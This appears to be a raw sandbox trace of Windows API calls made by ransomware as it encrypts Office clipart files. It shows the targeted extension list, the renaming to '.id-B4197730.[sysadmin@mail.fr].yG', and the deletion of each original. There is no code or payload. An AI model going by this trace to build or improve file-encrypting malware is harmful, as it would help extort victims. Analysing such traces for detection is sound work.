	[0174.184] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2050, lpOverlapped=0x0) returned 1
	[0174.225] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.225] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.226] SetEndOfFile (hFile=0x57c) returned 1
	[0174.226] CloseHandle (hObject=0x57c) returned 1
	[0174.226] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.226] SetEndOfFile (hFile=0x350) returned 1
	[0174.230] CloseHandle (hObject=0x350) returned 1
	[0174.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1
	[0174.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.232] lstrlenW (lpString=".doc") returned 4
	[0174.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.232] lstrlenW (lpString=".docx") returned 5
	[0174.232] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0174.232] lstrlenW (lpString=".pdf") returned 4
	[0174.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.232] lstrlenW (lpString=".xls") returned 4
	[0174.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.232] lstrlenW (lpString=".xlsx") returned 5
	[0174.232] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0174.232] lstrlenW (lpString=".ppt") returned 4
	[0174.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.232] lstrlenW (lpString=".zip") returned 4
	[0174.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.232] lstrlenW (lpString=".rar") returned 4
	[0174.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.232] lstrlenW (lpString=".bz2") returned 4
	[0174.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.233] lstrlenW (lpString=".7z") returned 3
	[0174.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.233] lstrlenW (lpString=".dbf") returned 4
	[0174.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.233] lstrlenW (lpString=".1cd") returned 4
	[0174.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0174.233] lstrlenW (lpString=".jpg") returned 4
	[0174.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.234] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=8224) returned 1
	[0174.234] CloseHandle (hObject=0x350) returned 1
	[0174.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 0x220
	[0174.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0174.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.237] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0174.238] GetLastError () returned 0x0
	[0174.238] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x2020, lpOverlapped=0x0) returned 1
	[0174.268] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x2030, lpOverlapped=0x0) returned 1
	[0174.270] ReadFile (in: hFile=0x350, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.270] WriteFile (in: hFile=0x57c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.270] SetEndOfFile (hFile=0x57c) returned 1
	[0174.271] CloseHandle (hObject=0x57c) returned 1
	[0174.271] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.271] SetEndOfFile (hFile=0x350) returned 1
	[0174.274] CloseHandle (hObject=0x350) returned 1
	[0174.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107748.wmf")) returned 1
	[0174.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.276] lstrlenW (lpString=".doc") returned 4
	[0174.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.276] lstrlenW (lpString=".docx") returned 5
	[0174.276] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.276] lstrlenW (lpString=".pdf") returned 4
	[0174.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.276] lstrlenW (lpString=".xls") returned 4
	[0174.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.276] lstrlenW (lpString=".xlsx") returned 5
	[0174.276] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.276] lstrlenW (lpString=".ppt") returned 4
	[0174.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.276] lstrlenW (lpString=".zip") returned 4
	[0174.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.277] lstrlenW (lpString=".rar") returned 4
	[0174.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.277] lstrlenW (lpString=".bz2") returned 4
	[0174.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.277] lstrlenW (lpString=".7z") returned 3
	[0174.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.277] lstrlenW (lpString=".dbf") returned 4
	[0174.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.277] lstrlenW (lpString=".1cd") returned 4
	[0174.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107748.WMF") returned 68
	[0174.277] lstrlenW (lpString=".jpg") returned 4
	[0174.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.287] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4716) returned 1
	[0174.287] CloseHandle (hObject=0x554) returned 1
	[0174.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220
	[0174.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0174.289] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.289] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.290] GetLastError () returned 0x0
	[0174.290] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x126c, lpOverlapped=0x0) returned 1
	[0174.296] WriteFile (in: hFile=0x484, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1270, lpOverlapped=0x0) returned 1
	[0174.298] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.298] WriteFile (in: hFile=0x484, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.298] SetEndOfFile (hFile=0x484) returned 1
	[0174.299] CloseHandle (hObject=0x484) returned 1
	[0174.300] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.300] SetEndOfFile (hFile=0x554) returned 1
	[0174.303] CloseHandle (hObject=0x554) returned 1
	[0174.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1
	[0174.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.304] lstrlenW (lpString=".doc") returned 4
	[0174.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.304] lstrlenW (lpString=".docx") returned 5
	[0174.305] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0174.305] lstrlenW (lpString=".pdf") returned 4
	[0174.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString=".xls") returned 4
	[0174.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.305] lstrlenW (lpString=".xlsx") returned 5
	[0174.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0174.305] lstrlenW (lpString=".ppt") returned 4
	[0174.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.305] lstrlenW (lpString=".zip") returned 4
	[0174.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.305] lstrlenW (lpString=".rar") returned 4
	[0174.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString=".bz2") returned 4
	[0174.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString=".7z") returned 3
	[0174.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.305] lstrlenW (lpString=".dbf") returned 4
	[0174.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.305] lstrlenW (lpString=".1cd") returned 4
	[0174.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68
	[0174.305] lstrlenW (lpString=".jpg") returned 4
	[0174.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.307] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=33657) returned 1
	[0174.307] CloseHandle (hObject=0x554) returned 1
	[0174.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220
	[0174.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0174.309] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.309] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.310] GetLastError () returned 0x0
	[0174.310] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8379, lpOverlapped=0x0) returned 1
	[0174.324] WriteFile (in: hFile=0x484, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x8380, lpOverlapped=0x0) returned 1
	[0174.326] ReadFile (in: hFile=0x554, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.326] WriteFile (in: hFile=0x484, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.326] SetEndOfFile (hFile=0x484) returned 1
	[0174.326] CloseHandle (hObject=0x484) returned 1
	[0174.326] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.326] SetEndOfFile (hFile=0x554) returned 1
	[0174.620] CloseHandle (hObject=0x554) returned 1
	[0174.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1
	[0174.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.782] lstrlenW (lpString=".doc") returned 4
	[0174.782] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.782] lstrlenW (lpString=".docx") returned 5
	[0174.782] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0174.782] lstrlenW (lpString=".pdf") returned 4
	[0174.782] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.782] lstrlenW (lpString=".xls") returned 4
	[0174.782] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.782] lstrlenW (lpString=".xlsx") returned 5
	[0174.782] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0174.782] lstrlenW (lpString=".ppt") returned 4
	[0174.782] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.782] lstrlenW (lpString=".zip") returned 4
	[0174.782] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.782] lstrlenW (lpString=".rar") returned 4
	[0174.782] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.782] lstrlenW (lpString=".bz2") returned 4
	[0174.782] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.782] lstrlenW (lpString=".7z") returned 3
	[0174.782] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.782] lstrlenW (lpString=".dbf") returned 4
	[0174.782] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.782] lstrlenW (lpString=".1cd") returned 4
	[0174.783] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68
	[0174.783] lstrlenW (lpString=".jpg") returned 4
	[0174.783] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.784] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=36792) returned 1
	[0174.784] CloseHandle (hObject=0x544) returned 1
	[0174.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 0x220
	[0174.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0174.785] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.785] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0174.787] GetLastError () returned 0x0
	[0174.787] ReadFile (in: hFile=0x544, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8fb8, lpOverlapped=0x0) returned 1
	[0174.790] WriteFile (in: hFile=0x55c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x8fc0, lpOverlapped=0x0) returned 1
	[0174.792] ReadFile (in: hFile=0x544, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.792] WriteFile (in: hFile=0x55c, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.792] SetEndOfFile (hFile=0x55c) returned 1
	[0174.792] CloseHandle (hObject=0x55c) returned 1
	[0174.792] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.792] SetEndOfFile (hFile=0x544) returned 1
	[0174.796] CloseHandle (hObject=0x544) returned 1
	[0174.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg")) returned 1
	[0174.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG") returned 68
	[0174.798] lstrlenW (lpString=".doc") returned 4
	[0174.798] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.798] lstrlenW (lpString=".docx") returned 5
	[0174.798] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0174.798] lstrlenW (lpString=".pdf") returned 4
	[0174.798] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.798] lstrlenW (lpString=".xls") returned 4
	[0174.798] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.798] lstrlenW (lpString=".xlsx") returned 5
	[0174.798] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0174.798] lstrlenW (lpString=".ppt") returned 4
	[0174.798] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
